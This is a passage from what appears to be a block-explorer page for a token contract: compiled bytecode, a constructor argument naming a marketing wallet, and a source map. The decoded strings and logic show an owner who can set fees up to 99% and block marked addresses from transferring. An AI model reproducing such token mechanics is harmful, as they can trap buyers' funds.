561246457600954811115612463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245a90614696565b60405180910390fd5b5b5b5b600061247130611110565b90506000600a5482101590508080156124965750600c60029054906101000a900460ff165b80156124af5750600760149054906101000a900460ff16155b80156125055750601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561255b5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125b15750601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125f5576001600760146101000a81548160ff0219169083151502179055506125d9612dfe565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff16159050601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126ab5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806126c35750600c60009054906101000a900460ff16155b1561272457601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561271f57600080fd5b600090505b60008115612952576001600c60006101000a81548160ff021916908315150217905550601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127a257506000601054115b1561283c576127cf60646127c16010548861300b90919063ffffffff16565b61302190919063ffffffff16565b9050601054601254826127e29190613d87565b6127ec9190613df8565b601460008282546127fd9190613994565b92505081905550601054601154826128159190613d87565b61281f9190613df8565b601360008282546128309190613994565b9250508190555061292e565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561289757506000600d54115b1561292d576128c460646128b6600d548861300b90919063ffffffff16565b61302190919063ffffffff16565b9050600d54600f54826128d79190613d87565b6128e19190613df8565b601460008282546128f29190613994565b92505081905550600d54600e548261290a9190613d87565b6129149190613df8565b601360008282546129259190613994565b925050819055505b5b600081111561294357612942873083612b7f565b5b808561294f91906146b6565b94505b61295d878787612b7f565b601554601081905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b5657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b7a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be590614408565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c549061449a565b60405180910390fd5b612c68838383613037565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce59061475c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d819190613994565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612de591906135ff565b60405180910390a3612df884848461303c565b50505050565b6000612e0930611110565b90506000601354601454612e1d9190613994565b9050600080831480612e2f5750600082145b15612e3c57505050613009565b6014600a54612e4b9190613d87565b831115612e64576014600a54612e619190613d87565b92505b600060028360145486612e779190613d87565b612e819190613df8565b612e8b9190613df8565b90506000612ea2828661304190919063ffffffff16565b90506000479050612eb282613057565b6000612ec7824761304190919063ffffffff16565b90506000612ef287612ee46013548561300b90919063ffffffff16565b61302190919063ffffffff16565b905060008183612f0291906146b6565b905060006014819055506000601381905550600086118015612f245750600081115b15612f7157612f338682613294565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601454604051612f689392919061477c565b60405180910390a15b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612fb7906147e4565b60006040518083038185875af1925050503d8060008114612ff4576040519150601f19603f3d011682016040523d82523d6000602084013e612ff9565b606091505b5050809750505050505050505050505b565b600081836130199190613d87565b905092915050565b6000818361302f9190613df8565b905092915050565b505050565b505050565b6000818361304f91906146b6565b905092915050565b6000600267ffffffffffffffff811115613074576130736147f9565b5b6040519080825280602002602001820160405280156130a25781602001602082028036833780820191505090505b50905030816000815181106130ba576130b9613b26565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561315f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613183919061483d565b8160018151811061319757613196613b26565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506131fc307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d70565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161325e959493929190614963565b600060405180830381600087803b15801561327857600080fd5b505af115801561328c573d6000803e3d6000fd5b505050505050565b6132bf307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d70565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613326969594939291906149bd565b60606040518083038185885af1158015613344573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133699190614a33565b5050505050565b600080fd5b600080fd5b6000819050919050565b61338d8161337a565b811461339857600080fd5b50565b6000813590506133aa81613384565b92915050565b600080604083850312156133c7576133c6613370565b5b60006133d58582860161339b565b92505060206133e68582860161339b565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561342a57808201518184015260208101905061340f565b60008484015250505050565b6000601f19601f8301169050919050565b6000613452826133f0565b61345c81856133fb565b935061346c81856020860161340c565b61347581613436565b840191505092915050565b6000602082019050818103600083015261349a8184613447565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006134cd826134a2565b9050919050565b6134dd816134c2565b81146134e857600080fd5b50565b6000813590506134fa816134d4565b92915050565b6000806040838503121561351757613516613370565b5b6000613525858286016134eb565b92505060206135368582860161339b565b9150509250929050565b60008115159050919050565b61355581613540565b82525050565b6000602082019050613570600083018461354c565b92915050565b6000819050919050565b600061359b613596613591846134a2565b613576565b6134a2565b9050919050565b60006135ad82613580565b9050919050565b60006135bf826135a2565b9050919050565b6135cf816135b4565b82525050565b60006020820190506135ea60008301846135c6565b92915050565b6135f98161337a565b82525050565b600060208201905061361460008301846135f0565b92915050565b6000602082840312156136305761362f613370565b5b600061363e848285016134eb565b91505092915050565b6000806000606084860312156136605761365f613370565b5b600061366e868287016134eb565b935050602061367f868287016134eb565b92505060406136908682870161339b565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126136bf576136be61369a565b5b8235905067ffffffffffffffff8111156136dc576136db61369f565b5b6020830191508360208202830111156136f8576136f76136a4565b5b9250929050565b60008060006040848603121561371857613717613370565b5b600084013567ffffffffffffffff81111561373657613735613375565b5b613742868287016136a9565b935093505060206137558682870161339b565b9150509250925092565b613768816134c2565b82525050565b6000602082019050613783600083018461375f565b92915050565b600060ff82169050919050565b61379f81613789565b82525050565b60006020820190506137ba6000830184613796565b92915050565b6137c981613540565b81146137d457600080fd5b50565b6000813590506137e6816137c0565b92915050565b60008060006040848603121561380557613804613370565b5b600084013567ffffffffffffffff81111561382357613822613375565b5b61382f868287016136a9565b93509350506020613842868287016137d7565b9150509250925092565b6000806040838503121561386357613862613370565b5b6000613871858286016134eb565b9250506020613882858286016137d7565b9150509250929050565b6000602082840312156138a2576138a1613370565b5b60006138b08482850161339b565b91505092915050565b600080604083850312156138d0576138cf613370565b5b60006138de858286016134eb565b92505060206138ef858286016134eb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061392f6020836133fb565b915061393a826138f9565b602082019050919050565b6000602082019050818103600083015261395e81613922565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061399f8261337a565b91506139aa8361337a565b92508282019050808211156139c2576139c1613965565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b60006139fe601d836133fb565b9150613a09826139c8565b602082019050919050565b60006020820190508181036000830152613a2d816139f1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613a7b57607f821691505b602082108103613a8e57613a8d613a34565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613af06028836133fb565b9150613afb82613a94565b604082019050919050565b60006020820190508181036000830152613b1f81613ae3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613b608261337a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613b9257613b91613965565b5b600182019050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613bd3601d836133fb565b9150613bde82613b9d565b602082019050919050565b60006020820190508181036000830152613c0281613bc6565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613c6057808604811115613c3c57613c3b613965565b5b6001851615613c4b5780820291505b8081029050613c5985613c09565b9450613c20565b94509492505050565b600082613c795760019050613d35565b81613c875760009050613d35565b8160018114613c9d5760028114613ca757613cd6565b6001915050613d35565b60ff841115613cb957613cb8613965565b5b8360020a915084821115613cd057613ccf613965565b5b50613d35565b5060208310610133831016604e8410600b8410161715613d0b5782820a905083811115613d0657613d05613965565b5b613d35565b613d188484846001613c16565b92509050818404811115613d2f57613d2e613965565b5b81810290505b9392505050565b6000613d478261337a565b9150613d5283613789565b9250613d7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613c69565b905092915050565b6000613d928261337a565b9150613d9d8361337a565b9250828202613dab8161337a565b91508282048414831517613dc257613dc1613965565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e038261337a565b9150613e0e8361337a565b925082613e1e57613e1d613dc9565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e856021836133fb565b9150613e9082613e29565b604082019050919050565b60006020820190508181036000830152613eb481613e78565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613f176024836133fb565b9150613f2282613ebb565b604082019050919050565b60006020820190508181036000830152613f4681613f0a565b9050919050565b6000613f588261337a565b9150613f638361337a565b9250613f907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613c69565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613ff46039836133fb565b9150613fff82613f98565b604082019050919050565b6000602082019050818103600083015261402381613fe7565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006140866025836133fb565b91506140918261402a565b604082019050919050565b600060208201905081810360008301526140b581614079565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006141186035836133fb565b9150614123826140bc565b604082019050919050565b600060208201905081810360008301526141478161410b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006141aa6034836133fb565b91506141b58261414e565b604082019050919050565b600060208201905081810360008301526141d98161419d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061423c6026836133fb565b9150614247826141e0565b604082019050919050565b6000602082019050818103600083015261426b8161422f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006142ce6024836133fb565b91506142d982614272565b604082019050919050565b600060208201905081810360008301526142fd816142c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006143606022836133fb565b915061436b82614304565b604082019050919050565b6000602082019050818103600083015261438f81614353565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006143f26025836133fb565b91506143fd82614396565b604082019050919050565b60006020820190508181036000830152614421816143e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006144846023836133fb565b915061448f82614428565b604082019050919050565b600060208201905081810360008301526144b381614477565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006144f06016836133fb565b91506144fb826144ba565b602082019050919050565b6000602082019050818103600083015261451f816144e3565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006145826035836133fb565b915061458d82614526565b604082019050919050565b600060208201905081810360008301526145b181614575565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006145ee6013836133fb565b91506145f9826145b8565b602082019050919050565b6000602082019050818103600083015261461d816145e1565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006146806036836133fb565b915061468b82614624565b604082019050919050565b600060208201905081810360008301526146af81614673565b9050919050565b60006146c18261337a565b91506146cc8361337a565b92508282039050818111156146e4576146e3613965565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006147466026836133fb565b9150614751826146ea565b604082019050919050565b6000602082019050818103600083015261477581614739565b9050919050565b600060608201905061479160008301866135f0565b61479e60208301856135f0565b6147ab60408301846135f0565b949350505050565b600081905092915050565b50565b60006147ce6000836147b3565b91506147d9826147be565b600082019050919050565b60006147ef826147c1565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614837816134d4565b92915050565b60006020828403121561485357614852613370565b5b600061486184828501614828565b91505092915050565b6000819050919050565b600061488f61488a6148858461486a565b613576565b61337a565b9050919050565b61489f81614874565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148da816134c2565b82525050565b60006148ec83836148d1565b60208301905092915050565b6000602082019050919050565b6000614910826148a5565b61491a81856148b0565b9350614925836148c1565b8060005b8381101561495657815161493d88826148e0565b9750614948836148f8565b925050600181019050614929565b5085935050505092915050565b600060a08201905061497860008301886135f0565b6149856020830187614896565b81810360408301526149978186614905565b90506149a6606083018561375f565b6149b360808301846135f0565b9695505050505050565b600060c0820190506149d2600083018961375f565b6149df60208301886135f0565b6149ec6040830187614896565b6149f96060830186614896565b614a06608083018561375f565b614a1360a08301846135f0565b979650505050505050565b600081519050614a2d81613384565b92915050565b600080600060608486031215614a4c57614a4b613370565b5b6000614a5a86828701614a1e565b9350506020614a6b86828701614a1e565b9250506040614a7c86828701614a1e565b915050925092509256fea2646970667358221220b029b5f17b15fb8fce59df2df6e1c7cb537633b1ff65c3a3255083fc76b4690064736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000149f774c32d20fb20745b71816fbd40760fea64c

-----Decoded View---------------
Arg [0] : marketing_ (address): 0x149F774c32d20fB20745B71816fBd40760fea64C

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000149f774c32d20fb20745b71816fbd40760fea64c


Deployed Bytecode Sourcemap

7143:12745:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12535:380;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;694:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1607:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7220:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1014:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12056:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1784:492;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10589:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7313:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;914:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2284:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13113:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7278:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13888:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12192:335;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7781:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7629:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1130:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;856:112:2;;;;;;;;;;;;;:::i;:::-;;11881:167:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7405:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10469:112;;;;;;;;;;;;;:::i;:::-;;633:87:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;802:104:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11325:548;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13331:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2507:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7559:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1265:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7589:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12923:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10370:91;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7444:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10820:497;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7669:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1448:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7486:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;976:201:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7526:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12535:380;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12679:13:0::1;12660:16;:32;;;;12722:13;12703:16;:32;;;;12781:16;;12762;;:35;;;;:::i;:::-;12746:13;:51;;;;12822:13;;12808:11;:27;;;;12871:2;12854:13;;:19;;12846:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;12535:380:::0;;:::o;694:100::-;748:13;781:5;774:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;694:100;:::o;1607:169::-;1690:4;1707:39;1716:12;:10;:12::i;:::-;1730:7;1739:6;1707:8;:39::i;:::-;1764:4;1757:11;;1607:169;;;;:::o;7220:51::-;;;:::o;1014:108::-;1075:7;1102:12;;1095:19;;1014:108;:::o;12056:128::-;12127:4;12148:25;:28;12174:1;12148:28;;;;;;;;;;;;;;;;;;;;;;;;;12141:35;;12056:128;;;:::o;1784:492::-;1924:4;1941:36;1951:6;1959:9;1970:6;1941:9;:36::i;:::-;1990:24;2017:11;:19;2029:6;2017:19;;;;;;;;;;;;;;;:33;2037:12;:10;:12::i;:::-;2017:33;;;;;;;;;;;;;;;;1990:60;;2089:6;2069:16;:26;;2061:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;2176:57;2185:6;2193:12;:10;:12::i;:::-;2226:6;2207:16;:25;2176:8;:57::i;:::-;2264:4;2257:11;;;1784:492;;;;;:::o;10589:223::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10686:9:0::1;10681:124;10705:10;;:17;;10701:1;:21;10681:124;;;10773:10;;10784:1;10773:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10749:44;;10758:13;;;;;;;;;;;10749:44;;;10788:4;10749:44;;;;;;:::i;:::-;;;;;;;;10724:3;;;;;:::i;:::-;;;;10681:124;;;;10589:223:::0;;;:::o;7313:53::-;7359:6;7313:53;:::o;914:92::-;972:5;997:1;990:8;;914:92;:::o;2284:215::-;2372:4;2389:80;2398:12;:10;:12::i;:::-;2412:7;2458:10;2421:11;:25;2433:12;:10;:12::i;:::-;2421:25;;;;;;;;;;;;;;;:34;2447:7;2421:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;2389:8;:80::i;:::-;2487:4;2480:11;;2284:215;;;;:::o;13113:206::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13200:9:0::1;13195:117;13219:8;;:15;;13215:1;:19;13195:117;;;13297:3;13256:25;:38;13282:8;;13291:1;13282:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13256:38;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;13236:3;;;;;:::i;:::-;;;;13195:117;;;;13113:206:::0;;;:::o;7278:28::-;;;;;;;;;;;;;:::o;13888:126::-;13954:4;13978:19;:28;13998:7;13978:28;;;;;;;;;;;;;;;;;;;;;;;;;13971:35;;13888:126;;;:::o;12192:335::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12334:13:0::1;12316:15;:31;;;;12376:13;12358:15;:31;;;;12433:15;;12415;;:33;;;;:::i;:::-;12400:12;:48;;;;12483:2;12467:12;;:18;;12459:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;12192:335:::0;;:::o;7781:28::-;;;;:::o;7629:31::-;;;;;;;;;;;;;:::o;1130:127::-;1204:7;1231:9;:18;1241:7;1231:18;;;;;;;;;;;;;;;;1224:25;;1130:127;;;:::o;856:112:2:-;779:12;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:30:::1;957:1;930:18;:30::i;:::-;856:112::o:0;11881:167:0:-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12036:4:0::1;11994:31;:39;12026:6;11994:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;11881:167:::0;;:::o;7405:30::-;;;;;;;;;;;;;:::o;10469:112::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10540:4:0::1;10524:13;;:20;;;;;;;;;;;;;;;;;;10569:4;10555:11;;:18;;;;;;;;;;;;;;;;;;10469:112::o:0;633:87:2:-;679:7;706:6;;;;;;;;;;;699:13;;633:87;:::o;802:104:0:-;858:13;891:7;884:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;802:104;:::o;11325:548::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11506:10:0::1;:8;:10::i;:::-;11502:2;:14;;;;:::i;:::-;11494:4;11489:1;11473:13;:11;:13::i;:::-;:17;;;;:::i;:::-;11472:26;;;;:::i;:::-;11471:45;;;;:::i;:::-;11458:9;:58;;11436:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;11664:10;:8;:10::i;:::-;11660:2;:14;;;;:::i;:::-;11652:4;11647:1;11631:13;:11;:13::i;:::-;:17;;;;:::i;:::-;11630:26;;;;:::i;:::-;11629:45;;;;:::i;:::-;11610:15;:64;;11588:150;;;;;;;;;;;;:::i;:::-;;;;;;;;;11788:10;:8;:10::i;:::-;11784:2;:14;;;;:::i;:::-;11780:2;:18;;;;:::i;:::-;11761:15;:38;;;;:::i;:::-;11749:9;:50;;;;11854:10;:8;:10::i;:::-;11850:2;:14;;;;:::i;:::-;11846:2;:18;;;;:::i;:::-;11833:9;:32;;;;:::i;:::-;11810:20;:55;;;;11325:548:::0;;:::o;13331:353::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13475:13:0::1;;;;;;;;;;;13467:21;;:4;:21;;::::0;13445:128:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;13584:38;13610:4;13616:5;13584:25;:38::i;:::-;13633:41;13662:4;13668:5;13633:28;:41::i;:::-;13331:353:::0;;:::o;2507:413::-;2600:4;2617:24;2644:11;:25;2656:12;:10;:12::i;:::-;2644:25;;;;;;;;;;;;;;;:34;2670:7;2644:34;;;;;;;;;;;;;;;;2617:61;;2717:15;2697:16;:35;;2689:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;2810:67;2819:12;:10;:12::i;:::-;2833:7;2861:15;2842:16;:34;2810:8;:67::i;:::-;2908:4;2901:11;;;2507:413;;;;:::o;7559:23::-;;;;;;;;;;;;;:::o;1265:175::-;1351:4;1368:42;1378:12;:10;:12::i;:::-;1392:9;1403:6;1368:9;:42::i;:::-;1428:4;1421:11;;1265:175;;;;:::o;7589:33::-;;;;;;;;;;;;;:::o;12923:182::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13039:8:0::1;13008:19;:28;13028:7;13008:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;